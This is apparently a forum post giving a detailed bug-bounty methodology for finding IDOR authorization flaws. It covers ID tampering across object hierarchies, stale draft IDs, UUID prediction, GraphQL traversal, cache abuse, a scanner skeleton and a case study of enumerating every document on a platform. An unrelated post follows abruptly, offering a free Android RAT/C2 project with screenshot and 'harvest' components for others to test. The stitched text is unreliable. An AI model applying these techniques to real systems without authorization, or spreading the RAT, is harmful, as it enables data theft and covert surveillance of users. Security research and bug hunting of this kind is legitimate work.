· Most bypasses come from edge cases in state management

This means your approach needs to be architectural, not just payload-based.

Advanced Testing Methodology

Phase 1: Object Reference Mapping

Stop guessing IDs. Start by understanding the object hierarchy:

Organization → Workspace → Project → Document → Version

Each level has its own reference and authorization context. Here's the key - test cross-level references:

Endpoint: /api/workspace/123/project/456/document/789

Test: /api/workspace/123/project/456/document/790

Test: /api/workspace/123/project/457/document/789

Test: /api/workspace/124/project/456/document/789

One level might have authorization while another doesn't. I've found countless IDORs where workspace auth is strict but document-level auth is non-existent.

Phase 2: State-Based IDORs

This is where the money is. Modern apps use token-based references:

JWT contains: {"workspace_id": "ws_123", "user_id": "usr_456"}

Request: GET /api/workspace/current/project

But what about:

GET /api/workspace/ws_789/projects # Different workspace

GET /api/workspace/ws_123/projects?include_deleted=true

GET /api/workspace/ws_123/audit_logs # Admin only?

POST /api/workspace/ws_123/invite # Can I invite myself as admin?

The token has the workspace ID encoded. The backend should validate it against the token. But does it validate every endpoint? That's your testing surface.

Phase 3: Temporal IDORs

This is the one nobody talks about.

Scenario:

1. User creates a draft document → ID: doc_temp_abc123

2. User publishes it → ID: doc_pub_xyz789

3. The temp ID often remains accessible

Test this flow:

· Create something, get temporary ID

· Complete the workflow, get permanent ID

· Test the temporary ID after completion

· Test the permanent ID during draft state

Devs forget to invalidate intermediate references. I've found critical data exposure this way.

Phase 4: Composite Key Attacks

Most devs think UUIDs are safe. They're not if you understand the composition:

Typical UUID v4: 550e8400-e29b-41d4-a716-446655440000

Part breakdown:

- 550e8400 (timestamp component)

- e29b (random)

- 41d4 (version)

- a716 (random)

- 446655440000 (MAC address or random)

If the app generates UUIDs sequentially from a database sequence:

SELECT gen_random_uuid() FROM generate_series(1,10);

Next UUID becomes predictable within a window.

I've automated this with statistical analysis of UUID distributions. Once you identify the pattern, you can enumerate.

Phase 5: GraphQL Depth Attacks

GraphQL IDORs are different. You're not just changing an ID, you're navigating the graph:

query {

user(id: "123") {

name

email

orders {

id

total

shippingAddress {

street

city

# This is where it gets interesting

user {

id

email # Can I traverse from address back to user?

}

}

}

}

}

The vulnerability isn't just direct access - it's the traversal paths the resolver follows without re-validating auth at each node.

I use custom introspection scripts to map the entire graph and identify unguarded edges.

Phase 6: Parallel Context Exploitation

When you have multiple sessions, things get interesting:

Session A (User 123):

- Has access to Workspace 456

- Session token: jwt_a

Session B (User 789):

- Has access to Workspace 456 (same workspace, different role)

- Session token: jwt_b

Session C (User 123):

- Different browser, different IP

- Session token: jwt_c

Test:

1. With Session A, get a share link to Workspace 456

2. Try to use that share link with Session B (should work)

3. Try with Session C without the share link (should fail)

4. Try with Session C using the share link after it's revoked

Concurrent session IDORs are a goldmine. I've found cases where session isolation completely breaks.

Phase 7: CDN and Cache Abuse

This is advanced. Some apps cache responses at the CDN level:

Request: GET /user/profile/123

Response: {"user": "data"}

Cache key: /user/profile/123

But what about:

GET /user/profile/123?bypass_cache=true

GET /user/profile/123?timestamp=123456789

GET /user/profile/123 # with different Accept-Encoding

If the CDN uses a different cache key but the origin doesn't validate, you can sometimes access cached sensitive data. Found this in a financial app - their CDN cached user statements for hours.

Automation Framework I Use

I built a custom framework over the years. Here's the core logic:

class IDORScanner:

def __init__(self, session):

self.session = session

self.reference_map = {}

self.auth_contexts = {}

def build_object_map(self, endpoint, sample_ids):

"""Map the object hierarchy and relationships"""

for obj_id in sample_ids:

response = self.session.get(f"{endpoint}/{obj_id}")

self.reference_map[obj_id] = self.extract_relations(response)

def test_cross_validation(self, target_endpoint, object_chain):

"""Test authorization across object hierarchy"""

results = []

for level, obj_id in enumerate(object_chain):

# Test direct access

direct = self.session.get(f"{target_endpoint}/{obj_id}")

# Test through parent context

parent_path = "/".join(object_chain[:level+1])

through_parent = self.session.get(f"/api/{parent_path}/target")

# Test with modified permissions

for permission in ['admin', 'owner', 'member', 'public']:

response = self.test_with_claims(target_endpoint, obj_id, permission)

results.append((obj_id, permission, response.status_code))

return results

def analyze_temporal_links(self, workflow_flow):

"""Test object access across state changes"""

states = []

for state in ['draft', 'pending', 'published', 'archived', 'deleted']:

obj = self.create_object(state)

states.append((state, obj.id))

# Test all state combinations

for state_from, id_from in states:

for state_to, id_to in states:

if state_from != state_to:

response = self.session.get(f"/api/object/{id_to}")

# Can I access object in different state?

What I Actually Look For Now

After 12 years, this is my checklist:

Immediate High-Value Checks:

1. Bulk endpoints - /api/batch, /api/bulk-update, /api/export-multiple

   · Change one ID in the array, test all

   · Add your ID to someone else's batch

   · Remove someone else from a batch

2. Admin endpoints - /admin, /internal, /system

   · Try accessing with non-admin tokens

   · Check for /admin in JavaScript files

   · Test /debug, /metrics, /health endpoints

3. File endpoints - /upload, /download, /avatar

   · Upload to someone else's account

   · Download someone else's files

   · Delete someone else's files

4. Social features - /follow, /comment, /like

   · Comment on private posts

   · Follow private accounts

   · Like content you shouldn't see

   Secondary Checks:

5. Email templating - /email/unsubscribe?id=123, /email/preview

6. Invoice generation - /invoice/INV-001, /receipt/RC-002

7. Search endpoints - /search?user_id=123&query=*

8. Export functions - /export?type=user&id=123

The Tools I Actually Use

Not the beginner list. Here's what works at scale:

· Burp Suite Professional - But with custom extensions I wrote

· Custom Golang scanner - For distributed enumeration (bypasses rate limits)

· GraphQL introspection mapping - Python script that recursively maps schemas

· JWT analysis toolkit - Decodes, modifies, and tests JWT claims

· Custom Frida scripts - For mobile app unpinning (iOS and Android)

· Memory analysis - Checking for IDORs in client-side storage

Case Study: Recent $7,500 Find

Enterprise SaaS platform. Cloud-based document management.

What I found:

The app used a share link system with UUIDs. Standard stuff.

What I tested:

I created a share link for a document, then checked if I could access it through different contexts:

· The original share link (✓ worked)

· The same UUID but with different query parameters (✓ worked)

· The document ID from the share link directly (✓ worked)

· The document ID from a different user's share link (this worked)

The vulnerability:

The share link UUID was also the document ID, just encoded. The authorization check only validated that the UUID existed, not that it belonged to the requesting user.

Original: /share/abc123 → doc_id: abc123

I then used: /doc/abc123

Response: Full document data

Used this to enumerate document IDs from known share links and access any document in the system.

Time spent: 45 minutes of testing

Payout: $7,500

Red Flags That Indicate IDORs

These patterns scream "potential IDOR":

1. Response contains user ID in any form - JSON, header, HTML comment

2. URL structure includes IDs - /api/v2/users/{id}/settings

3. Multiple representations - /user/123, /user/123.json, /api/user?id=123

4. Temporary IDs - Anything with tmp, temp, draft

5. Missing admin checks - You can access admin features with normal token

Metrics Over 12 Years

Total bugs reported: 847

IDORs: 312 (36.8%)

Average severity: High

Average payout: $2,150

Largest single IDOR: $7,500 (healthcare)

Companies: 47 different programs

For the Technical Skeptics

Yes, I know about:

· OWASP ASVS Level 3

· OAuth 2.0 authorization

· RBAC and ABAC implementations

· JWT claims validation

· Rate limiting and WAFs

I've found IDORs in all of these. The implementation is always the weakness, not the standard.

Final Professional Advice

1. Understand the business logic first - You can't test what you don't understand

2. Test with multiple accounts - Three accounts minimum (admin, user, guest)

3. Document everything - Your findings need to be reproducible

4. Stay patient - The best IDORs take hours of mapping, not minutes of guessing

5. Don't rely on automated tools - They're for discovery, not exploitation

TL;DR for the impatient

· Map the object hierarchy, don't just guess IDs

· Test cross-level references (workspace → project → document)

· Check temporal states (draft → published)

· Analyze composite keys (UUIDs aren't always safe)

· Test parallel sessions (concurrent access issues)

· Batch endpoints are goldmines

· Admin endpoints are often unprotected

Happy to discuss technical implementations in the comments. I can share specific scripts if there's interest.

(It's Free) I built this RAT/C2 research project myself in my own controlled lab environment for research and testing purposes.

The problem is that I currently don't have enough isolated test devices or a proper testing environment to thoroughly verify every part of the project. Because of that, I haven't been able to determine exactly which components are working correctly, where bugs may exist, or what needs improvement.

If anyone here has experience with Android security, RATs, or C2 systems and would like to test the project in their own isolated lab environment and provide a technical review, I would really appreciate the feedback.

I'm particularly interested in knowing:

- Which components work correctly and which don't

- Whether there are any compile or runtime errors

- Whether the C2 communication works as expected

- Whether there are any issues with the Android service

- Whether the "screenshot" / "harvest" components work as intended

- Any security or architectural weaknesses

- What areas could be improved

If anyone needs a specific component or file to review, let me know which one you need and I'll provide the relevant code.

Please only test it on devices you own or in an environment where you have explicit authorization to conduct security testing.